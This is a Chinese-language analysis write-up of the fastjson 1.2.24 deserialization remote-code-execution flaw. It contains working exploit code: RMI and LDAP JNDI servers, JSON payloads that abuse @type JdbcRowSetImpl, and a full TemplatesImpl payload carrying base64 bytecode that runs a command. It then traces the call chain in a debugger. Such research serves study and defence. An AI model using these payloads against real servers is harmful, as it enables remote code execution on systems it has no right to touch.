fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建:
漏洞影响版本:
fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞
环境地址:
https://github.com/vulhub/vulhub/tree/master/fastjson/vuln
正常访问页面返回hello,world~
此时抓包修改content-type为json格式,并post payload,即可执行rce
此时就能够创建success文件
漏洞复现(rmi+ldap):
RMI:
package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class JNDIServer {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
Reference reference = new Reference("Exploit",
"Exploit","http://127.0.0.1:8080/"); //请求本地8080端口
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class }
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
start();
}
}
比如此时先本地起一个rmi服务器
exp:
package person; import com.alibaba.fastjson.JSON; public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
} }
然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,
这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的
用mashalsec起rmi服务:
此时也能够calc
ldap:
用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下
然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class
public static void testLdap(){
String url = "ldap://127.0.0.1:1389";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
try{
DirContext dirContext = new InitialDirContext(env);
System.out.println("connected");
System.out.println(dirContext.getEnvironment());
Reference e = (Reference) dirContext.lookup("e"); }catch(NameNotFoundException ex){
ex.printStackTrace();
}catch(Exception e){
e.printStackTrace();
}
}
exp:
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
} }
直接通过ldap加载没问题,可以calc
前置知识:
研究这个漏洞之前,先熟悉一下阿里的这个fastjson库的基本用法
package main.java; import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json { public static void main(String[] args){
Map<String,Object> map = new HashMap<String, Object>();
map.put("key1","one");
map.put("key2","two");
//System.out.println(map.getClass());
String mapjson = JSON.toJSONString(map);
System.out.println(mapjson.getClass());
user user1 = new user ();
user1.setName("111");
System.out.println(JSON.toJSONString(user1)); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
user user2=(user)JSON.parse(serializedStr1);
System.out.println(user2.getName()); Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println(obj.getClass()); Object obj1 = JSON.parseObject(serializedStr1,Object.class);
//user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
user obj2 = (user)obj1;
System.out.println(obj2.getName());
System.out.println(obj2.getClass()); } }
//输出
class java.lang.String
{"age":0,"name":"111"}
serializedStr1={"@type":"main.java.user","age":0,"name":"111"}
111
{"name":"111","age":0}
class com.alibaba.fastjson.JSONObject
111
class main.java.user
这里user为定义好的一个类,实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串,当然也提供从字符串中恢复出对象,也就是一个序列化和反序列化的过程,
可以从输出看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象
漏洞分析:
这个漏洞利用方式有好种,这篇文章主要分析利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,那么这个类的构造函数是我们可控的,就能够rce
test.java
package person; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
} @Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
test.java在这里的话主要是用户parseObject json反序列化时所要还原的类,因为在这会实例化该类,因此直接在其构造方法中calc即可
poc.java
package person; import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException; public class Poc { public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," + //将evilcode放在_bytecodes处
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
//String personStr = "{'name':"+text1+",'age':19}";
//Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化,此时要设置SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
我们已经知道在反序列化解析json字符串时在parseobject时触发
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下断点,运行poc.java
此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload
此时判断我们传入的features是否为null,这里
我们已经制定了支持非publicfield属性,因为使用的_bytescode实际为非public的,否则无法反序列化,接着调用defaultJsonParser来进一步处理payload
此时进一步调用javaObjectDeserializer,也就是反序列化时所使用的反序列化引擎,继续跟进
此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足,所以调用parse.parse来解析
实际上此时又回到了
并且在此调用parseObject函数来处理我们的payload
接下来一部分就是语法解析,先匹配出了其中的双引号",
比如先在parseObject函数中匹配出了@type
匹配出@type标志以后,将会继续向后扫描json字符串,即取匹配相应的值,这个值也就是我们想要反序列化的类
继续往下走,将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的templatesimpl类,
跟进此函数,则可以看到此时token为16并且text为我们的payload
接下来会调用parseField函数来对json字符串中的一些key值进行匹配
这个方法里面会调用smartmatch来对key值进行一些处理,比如将_bytecodes的下划线删除
当处理到_outputProperties字段时,步入其smartMatch方法
此时在FieldDeserializer中将会调用setValue方,此时将会在其中调用getOutputProperties()方法,因为存在OutputProperties属性
此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数,在newTransformer函数中又调用了getTransletInstance()函数,
这里首先判断_name字段不能为空,这也是为啥payload里面会设置一个_name字段
接下来就会调用newInstance()函数来实例化对象了,可以看到此事要求实例化的对象时AbstractTranslet类的,那么只需要让我们的payload中的类继承自该类即可,
可以看到此时_transletIndex为零,因此此时实例化的就是我们构造的恶意类,
缩减后的整个调用链即为:
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
参考:
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://www.freebuf.com/vuls/178012.html
https://www.anquanke.com/post/id/173459#h2-10
fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录的更多相关文章
- 关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞
环境搭建: sudo apt install docker.io git clone https://github.com/vulhub/vulhub.git cd vulhub fastjson 1 ...
- fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞检测 区分 Fastjson 和 Jackson {"name":"S","age":21} 和 {"name":& ...
- 转载--Typecho install.php 反序列化导致任意代码执行
转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- Couchdb 任意命令执行漏洞(CVE-2017-12636)
影响版本:小于 1.7.0 以及 小于 2.1.1 该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户 依次执行如下请求即可触发任意命令执 ...
- Maccms8.x 命令执行漏洞分析
下载链接https://share.weiyun.com/23802397ed25681ad45c112bf34cc6db 首先打开Index.php $m = be('get','m'); m参数获 ...
- 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
- "Java 反序列化"过程远程命令执行漏洞
一.漏洞描述 国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...
- Elasticsearch Groovy任意命令执行漏洞EXP
测试url:http://190.196.67.252:9200/_search?pretty http://191.234.18.14:9200///_search?pretty POST提交 {“ ...
随机推荐
- vue实现简单学生信息管理案例
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Java类型信息(RTTI和反射)
要想在IT领域站得住脚,必须得不断地学习来强化自己,但是学过的技术不实践很容易便被遗忘,所以一直都打算开个博客,来记录自己学的知识,另外也可以分享给有需要的人! 最近在学习反射,为了更好地理解反射,就 ...
- restapi(8)- restapi-sql:用户自主的服务
学习函数式编程初衷是看到自己熟悉的oop编程语言和sql数据库在现代商业社会中前景暗淡,准备完全放弃windows技术栈转到分布式大数据技术领域的.但是在现实中理想总是不如人意,本来想在一个规模较小的 ...
- 双系统开机引导菜单修复方法 进win7无须重启|metro引导|双系统菜单名字修改
此文转自互联网,一部分是原创. 主要内容 1.修复双系统菜单(win7与win8双系统),进入win7不再需要重启,普通菜单样式(普通引导,非metro界面),更加简洁,实用,开机即可选择操作系统 2 ...
- Java基础(二十一)集合(3)List集合
一.List接口 List集合为列表类型,列表的主要特征是以线性方式存储对象. 1.实例化List集合 List接口的常用实现类有ArrayList和LinkedList,根据实际需要可以使用两种方式 ...
- (七)javac编译
文章目录 1.基本格式 2.目标路径 2.1 缺省项 2.2 指定路径 2.2.1 全路径 2.2.2 相对路径 3.源文件 3.1 无第三方库 3.1.1 基本方法 3.1.2 添加目录 3.1.3 ...
- ElasticSearch 中文分词插件ik 的使用
下载 IK 的版本要与 Elasticsearch 的版本一致,因此下载 7.1.0 版本. 安装 1.中文分词插件下载地址:https://github.com/medcl/elasticsearc ...
- 一个开源组件 bug 引发的分析
这是一个悲伤的故事.某日清晨,距离版本转测还剩一天,切图仔的我正按照计划有条不紊的画页面.当我点击一个下拉弹框组件中分页组件页数过多而出现的向后 5 页省略号时,悲剧开始了,弹框被收回了.情景再现 问 ...
- 《JavaScript设计模式与开发实践》-- 迭代器模式
详情个人博客:https://shengchangwei.github.io/js-shejimoshi-diedaiqi/ 迭代器模式 1.定义 迭代器模式: 是指提供一种方法顺序访问一个聚合对象中 ...
- 使用msfvenom生成木马
msfvenom Options: -p, --payload < payload> 指定需要使用的payload(攻击荷载).如果需要使用自定义的payload,请使用& #03 ...